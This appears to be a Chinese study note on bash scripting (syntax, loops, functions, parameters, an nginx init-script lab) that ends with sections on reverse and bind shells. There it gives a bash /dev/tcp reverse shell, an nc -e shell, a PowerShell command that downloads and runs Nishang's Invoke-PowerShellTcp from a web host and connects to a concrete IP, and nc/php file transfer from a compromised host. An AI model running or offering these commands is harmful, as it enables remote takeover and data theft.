12、Shell脚本
Shell脚本
一、什么是脚本?
与.bat批处理文件是一种类型的文件。脚本编程语言一般是一种解释性的语言。脚本语言主要用于简化计算机相关人员对于一些反复性操作的重复执行,将这些反复性操作的代码写到一个文件中,每次只需要运行这个文件就可以减少很多的工作量。
二、shell脚本编写格式
1 | 1:#!/bin/bash #声明该脚本使用的命令解释器 |
三、shell的变量赋值
从标准输入接受变量复制:read -p "提示语句" 变量名
四、shell的if判断语句
1 | if condition1 #`表达式`可做condition,shell中0为真,非0为假 |
大于:-gt
、小于:-lt
、等于:-eq
五、shell的for循环
for循环根据取值列表循环。
生成取值列表:{1..100}
#生成1-100的取值列表
1 | for var in item1 item2 ... itemN(取值列表) |
六、shell的while循环
while循环根据条件进行循环
echo字体颜色设置:echo -e "\e[1;33;41m 字符串 \e[0m"
1
2
3
4
5
6 1. \e 转义起始符,定义一个转义序列, 可以使用 \033代替
2. [ 表示开始定义颜色
3. 1表示高亮,33表示字体颜色为黄色,45表示背景色为红色
4. “test content” 属于文字内容
5. m 转义终止符,表示颜色定义完毕
6. 再次使用 \e[ ,表示再次开启颜色定义,0表示使用默认的颜色,m表示颜色定义结束,所以 \e[0m 的作用是恢复之前的配色方案
1
2
3 字体颜色:30——37
默认=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,紫色=35,天蓝色=36,白色=3
1
2
3 字背景颜色:40——47
默认=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,紫色=45,天蓝色=46,白色=47
1 | while condition |
七、shell的case语句
1 | case 值 in |
八、shell函数
1 | [ function ] funname [()] |
- 1、可以带function fun() 定义,也可以直接fun() 定义,不带任何参数。
- 2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255)
- 3、函数返回值在调用该函数后通过 $? 来获得。
参数处理 | 说明 |
---|---|
$# | 传递到脚本或函数的参数个数 |
$* | 以一个单字符串显示所有向脚本传递的参数 |
$$ | 脚本运行的当前进程ID号 |
$! | 后台运行的最后一个进程的ID号 |
$@ | 与$*相同,但是使用时加引号,并在引号中返回每个参数。 |
$- | 显示Shell使用的当前选项,与set命令功能相同。 |
$? | 显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。 |
注意,$10 不能获取第十个参数,获取第十个参数需要${10}。当n>=10时,需要使用${n}来获取参数。
九、实验:编写一个nginx服务脚本,并交由chkconfig管理且实现开机自启动
1、在/etc/rc.d/init.d下编写一个nginxd服务脚本
1 |
|
2、测试chkconfig是否可以管理此脚本:chkconfig --list nginxd
3、将该脚本加入到chkconfig管理列表:chkconfig --add nginxd
4、设置该脚本在level5级,也就是系统以图形化界面运行启动时,开启此脚本:chkconfig --level 5 nginxd on
十、反弹Shell与正弹Shell
1、反弹Shell
1 | /bin/bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1' |
对于反弹shell的终极理解:https://xz.aliyun.com/t/2548、https://www.anquanke.com/post/id/87017
1 | 重定向的文件描述符> 重定向的目的地 #重定向该文件描述符的输出方向,默认相当于 1> |
2、正弹Shell
1 | Nc -e /bin/bash <接受shell的ip> <端口> #小可怜 |
3、C语言反弹shell
1 |
|
4、Windows反弹Shell
Payload:Windows下powershell反弹Shell
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('http://www.2h0ng.wiki/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 123.57.95.65 -Port 2333 |
Invoke-PowerShellTcp.ps1来自Github:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
注:Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell
十一、在ssh会话中传输文件
1、利用nc
1 | 受控方: nc 服务器IP 服务器端口 < 源文件 |
2、利用php
1 | 受控方开启http服务: php -S 0.0.0.0:端口 |